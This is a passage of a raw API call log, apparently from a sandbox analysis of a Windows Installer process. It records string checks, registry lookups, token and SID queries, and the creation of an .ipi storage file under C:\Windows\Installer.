returned 0 [0125.750] IsCharLowerW (ch=0x72) returned 1 [0125.750] IsCharLowerW (ch=0x50) returned 0 [0125.751] IsCharLowerW (ch=0x72) returned 1 [0125.751] IsCharLowerW (ch=0x50) returned 0 [0125.751] IsCharLowerW (ch=0x72) returned 1 [0125.751] IsCharLowerW (ch=0x50) returned 0 [0125.751] IsCharLowerW (ch=0x72) returned 1 [0125.751] IsCharLowerW (ch=0x53) returned 0 [0125.751] IsCharLowerW (ch=0x65) returned 1 [0125.751] IsCharLowerW (ch=0x4c) returned 0 [0125.751] IsCharLowerW (ch=0x6f) returned 1 [0125.752] IsCharLowerW (ch=0x55) returned 0 [0125.752] IsCharLowerW (ch=0x53) returned 0 [0125.752] IsCharLowerW (ch=0x45) returned 0 [0125.752] IsCharLowerW (ch=0x52) returned 0 [0125.752] IsCharLowerW (ch=0x4e) returned 0 [0125.752] lstrlenW (lpString="=\"") returned 2 [0125.752] lstrlenW (lpString="\" ") returned 2 [0125.752] lstrlenW (lpString="=\"") returned 2 [0125.752] lstrlenW (lpString="\" ") returned 2 [0125.752] lstrlenW (lpString="=\"") returned 2 [0125.752] lstrlenW (lpString="\" ") returned 2 [0125.752] lstrlenW (lpString="=\"") returned 2 [0125.752] lstrlenW (lpString="\" ") returned 2 [0125.752] lstrlenW (lpString="=\"") returned 2 [0125.752] lstrlenW (lpString="\" ") returned 2 [0125.752] lstrlenW (lpString="=\"") returned 2 [0125.753] lstrlenW (lpString="\" ") returned 2 [0125.753] lstrlenW (lpString="=\"") returned 2 [0125.753] lstrlenW (lpString="\" ") returned 2 [0125.753] lstrlenW (lpString="=\"") returned 2 [0125.753] lstrlenW (lpString="\" ") returned 2 [0125.753] lstrlenW (lpString="=\"") returned 2 [0125.753] lstrlenW (lpString="\" ") returned 2 [0125.753] lstrlenW (lpString="=\"") returned 2 [0125.753] lstrlenW (lpString="\" ") returned 2 [0125.753] lstrlenW (lpString="=\"") returned 2 [0125.753] lstrlenW (lpString="\" ") returned 2 [0125.753] GlobalUnlock (hMem=0xf401b8) returned 0 [0125.753] GetLocalTime (in: lpSystemTime=0x10ce240 | out: lpSystemTime=0x10ce240*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0xcb)) [0125.753] SystemTimeToFileTime (in: lpSystemTime=0x10ce240, lpFileTime=0x10ce260 | out: lpFileTime=0x10ce260) returned 1 [0125.753] _vsnwprintf (in: _Buffer=0x10ce230, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce228 | out: _Buffer="1019637040") returned 10 [0125.754] lstrlenW (lpString="1019637040") returned 10 [0125.754] _vsnwprintf (in: _Buffer=0x10ce230, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce228 | out: _Buffer="30976260") returned 8 [0125.754] lstrlenW (lpString="30976260") returned 8 [0125.754] _vsnwprintf (in: _Buffer=0x10ce1e0, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce1d8 | out: _Buffer="30976260") returned 8 [0125.754] lstrlenW (lpString="30976260") returned 8 [0125.754] _vsnwprintf (in: _Buffer=0x10ce1e0, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce1d8 | out: _Buffer="488607040") returned 9 [0125.754] lstrlenW (lpString="488607040") returned 9 [0125.754] lstrlenW (lpString="0") returned 1 [0125.754] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0125.754] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b248 | out: phkResult=0x34b248*=0x0) returned 0x2 [0125.754] lstrlenW (lpString="29") returned 2 [0125.754] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0125.754] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b248 | out: phkResult=0x34b248*=0x0) returned 0x2 [0125.755] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0125.755] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b248 | out: phkResult=0x34b248*=0x0) returned 0x2 [0125.755] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0125.755] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cde90, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.755] lstrlenW (lpString="C:\\Windows") returned 10 [0125.755] lstrlenW (lpString="\\") returned 1 [0125.755] lstrlenW (lpString="Installer") returned 9 [0125.755] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.755] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.755] lstrlenW (lpString="\\") returned 1 [0125.755] lstrlenW (lpString="\\\\") returned 2 [0125.755] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.755] lstrlenW (lpString="Windows") returned 7 [0125.755] lstrlenW (lpString="Windows") returned 7 [0125.755] lstrlenW (lpString="Installer") returned 9 [0125.755] lstrlenW (lpString="Installer") returned 9 [0125.755] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.755] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.755] lstrlenW (lpString="\\") returned 1 [0125.755] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.756] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.756] lstrlenW (lpString="\\") returned 1 [0125.756] lstrlenW (lpString="C:\\Windows") returned 10 [0125.756] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x10cdfe0 | out: lpFileInformation=0x10cdfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fa3b370, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9fa3b370, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0125.756] lstrlenW (lpString="\\") returned 1 [0125.756] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer"), fInfoLevelId=0x0, lpFileInformation=0x10cdfe0 | out: lpFileInformation=0x10cdfe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x76711f50, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x76711f50, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0125.756] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0125.756] _vsnwprintf (in: _Buffer=0x10cddf0, _BufferCount=0x8, _Format="%x", _ArgList=0x10cdd48 | out: _Buffer="1876f00") returned 7 [0125.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi"), fInfoLevelId=0x0, lpFileInformation=0x10cdcb0 | out: lpFileInformation=0x10cdcb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791b174, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x10cdd48, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xf79e1fb3, nFileSizeHigh=0x7fe, nFileSizeLow=0x0)) returned 0 [0125.757] GetLastError () returned 0x2 [0125.757] CreateFileW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x10ce160, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x348 [0125.758] GetFileType (hFile=0x348) returned 0x1 [0125.758] CloseHandle (hObject=0x348) returned 1 [0125.758] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0125.759] SetFileAttributesW (lpFileName="C:\\Windows\\Installer\\", dwFileAttributes=0x6) returned 1 [0125.759] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.759] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi")) returned 0x20 [0125.759] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0125.759] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="StgCreateStorageEx") returned 0x7fefd627d40 [0125.760] StgCreateStorageEx (in: pwcsName="C:\\Windows\\Installer\\1876f00.ipi", grfMode=0x11012, stgfmt=0x5, grfAttrs=0x0, pStgOptions=0x10ce020, pSecurityDescriptor=0x0, riid=0x10ce030*(Data1=0xb, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppObjectOpen=0x10ce0d8 | out: pStgOptions=0x10ce020, ppObjectOpen=0x10ce0d8*=0x2125f20) returned 0x0 [0125.836] IUnknown:AddRef (This=0x2125f20) returned 0x2 [0125.836] IStorage:Stat (in: This=0x2125f20, pstatstg=0x10cdfd0, grfStatFlag=0x0 | out: pstatstg=0x10cdfd0) returned 0x0 [0125.836] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0125.836] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10cdfc8 | out: ppMalloc=0x10cdfc8*=0x7fefd6b5380) returned 0x0 [0125.836] IMalloc:Free (This=0x7fefd6b5380, pv=0x371a70) [0125.836] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0125.836] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.836] IUnknown:Release (This=0x2125f20) returned 0x1 [0125.836] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䕙䇲䆸㲷䠧", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.837] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x7b, cb=0x4c, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x4c) returned 0x0 [0125.951] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.951] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䕙䇲䆸㷷䐤䠨", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.951] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x41, cb=0x8c, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x8c) returned 0x0 [0125.952] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.952] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䒕䒪㾱䈶䠵", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.952] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x6b, cb=0x12, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x12) returned 0x0 [0125.952] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.952] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䈜䈯䗦䒬䖱", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.952] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x41, cb=0x30, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x30) returned 0x0 [0125.952] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.952] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䒏䇯䕨䠶", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.952] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x42, cb=0xe6, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0xe6) returned 0x0 [0125.953] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.953] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䕙䓲䕨䌷䖨", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.953] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x42, cb=0x2aa, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x2aa) returned 0x0 [0125.953] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.953] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䌝䈰䗜䐤㵳䚲", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.953] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x31, cb=0x14, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x14) returned 0x0 [0125.953] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.953] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䌝䈰䗜䐤㱳䊬䠫", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.954] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x33, cb=0x10, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x10) returned 0x0 [0125.954] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.954] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䄍䄷䄥䈶䄙䋷", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.954] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x43, cb=0x40, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x40) returned 0x0 [0125.954] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.954] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䌍䎶䕙䐲䗳", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.954] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.954] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䌍䎶䈜䌵䏤", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.954] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.954] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䜜䗶䐨䈛䗶䕲㼨䔨䈸䆱䠨", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.954] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x32, cb=0x4, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x4) returned 0x0 [0125.955] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.955] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䉊䈷㻵䅨䒲䠷", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.955] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.955] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䕝䑤䄶䗦䒬㷱䐤䠨", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.955] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x43, cb=0xbc, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0xbc) returned 0x0 [0125.955] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.955] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䒕䠺", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.955] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x34, cb=0x12, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x12) returned 0x0 [0125.956] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.956] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䌑䋪", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.956] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x33, cb=0x10, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x10) returned 0x0 [0125.956] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.956] IStorage:CreateStream (in: This=0x2125f20, pwcsName="䘖䗯㹬䆤䄮䈪䕝䑤䄶䗦䒬䠱", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10cdff0 | out: ppstm=0x10cdff0*=0x32ef70) returned 0x0 [0125.956] ISequentialStream:RemoteWrite (in: This=0x32ef70, pv=0x2a450cc*=0x30, cb=0x2, pcbWritten=0x10ce090 | out: pcbWritten=0x10ce090*=0x2) returned 0x0 [0125.956] IUnknown:Release (This=0x32ef70) returned 0x0 [0125.956] IStorage:Commit (This=0x2125f20, grfCommitFlags=0x1) returned 0x0 [0126.573] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2011f, lpSecurityAttributes=0x0, phkResult=0x34b248, lpdwDisposition=0x10cde34 | out: phkResult=0x34b248*=0x368, lpdwDisposition=0x10cde34*=0x1) returned 0x0 [0126.575] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0126.575] RegSetValueExW (in: hKey=0x368, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Installer\\1876f00.ipi", cbData=0x42 | out: lpData="C:\\Windows\\Installer\\1876f00.ipi") returned 0x0 [0126.576] IStorage:Commit (This=0x2125f20, grfCommitFlags=0x1) returned 0x0 [0126.619] IUnknown:Release (This=0x2125f20) returned 0x0 [0126.629] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0126.629] RegFlushKey (hKey=0xffffffff80000002) returned 0x0 [0127.173] RegCloseKey (hKey=0x368) returned 0x0 [0127.174] lstrlenW (lpString="Feature") returned 7 [0127.174] lstrlenW (lpString="Action") returned 6 [0127.174] lstrlenW (lpString="Installed") returned 9 [0127.174] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0127.174] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.175] GetCurrentThreadId () returned 0xf50 [0127.175] GetCurrentThreadId () returned 0xf50 [0127.175] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0127.175] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd020, TokenInformationLength=0x58, ReturnLength=0x10cd010 | out: TokenInformation=0x10cd020, ReturnLength=0x10cd010) returned 1 [0127.175] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd100, pSourceSid=0x10cd030*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.175] ConvertSidToStringSidW (in: Sid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd0e0 | out: StringSid=0x10cd0e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0127.175] LocalFree (hMem=0x3d5e60) returned 0x0 [0127.175] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.175] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0127.175] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd660 | out: phkResult=0x10cd660*=0x0) returned 0x2 [0127.175] GetCurrentThreadId () returned 0xf50 [0127.175] GetCurrentThreadId () returned 0xf50 [0127.175] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0127.175] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd020, TokenInformationLength=0x58, ReturnLength=0x10cd010 | out: TokenInformation=0x10cd020, ReturnLength=0x10cd010) returned 1 [0127.175] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd100, pSourceSid=0x10cd030*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.176] ConvertSidToStringSidW (in: Sid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd0e0 | out: StringSid=0x10cd0e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0127.176] LocalFree (hMem=0x3d6020) returned 0x0 [0127.176] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.176] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0127.176] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd660 | out: phkResult=0x10cd660*=0x0) returned 0x2 [0127.176] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.176] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0127.176] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd660 | out: phkResult=0x10cd660*=0x0) returned 0x2 [0127.176] lstrlenW (lpString="Feature") returned 7 [0127.177] lstrlenW (lpString="ActionRequested") returned 15 [0127.177] lstrlenW (lpString="Installed") returned 9 [0127.177] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0127.177] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.177] GetCurrentThreadId () returned 0xf50 [0127.177] GetCurrentThreadId () returned 0xf50 [0127.177] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0127.177] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd020, TokenInformationLength=0x58, ReturnLength=0x10cd010 | out: TokenInformation=0x10cd020, ReturnLength=0x10cd010) returned 1 [0127.177] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd100, pSourceSid=0x10cd030*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.177] ConvertSidToStringSidW (in: Sid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd0e0 | out: StringSid=0x10cd0e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0127.177] LocalFree (hMem=0x3d5e60) returned 0x0 [0127.177] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.177] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0127.177] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd660 | out: phkResult=0x10cd660*=0x0) returned 0x2 [0127.177] GetCurrentThreadId () returned 0xf50 [0127.177] GetCurrentThreadId () returned 0xf50 [0127.177] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0127.178] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd020, TokenInformationLength=0x58, ReturnLength=0x10cd010 | out: TokenInformation=0x10cd020, ReturnLength=0x10cd010) returned 1 [0127.178] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd100, pSourceSid=0x10cd030*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.178] ConvertSidToStringSidW (in: Sid=0x10cd100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd0e0 | out: StringSid=0x10cd0e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0127.178] LocalFree (hMem=0x3d6020) returned 0x0 [0127.178] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.178] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0127.178] RegOpenKeyExW (in: hKey=0xffffffff80000003, 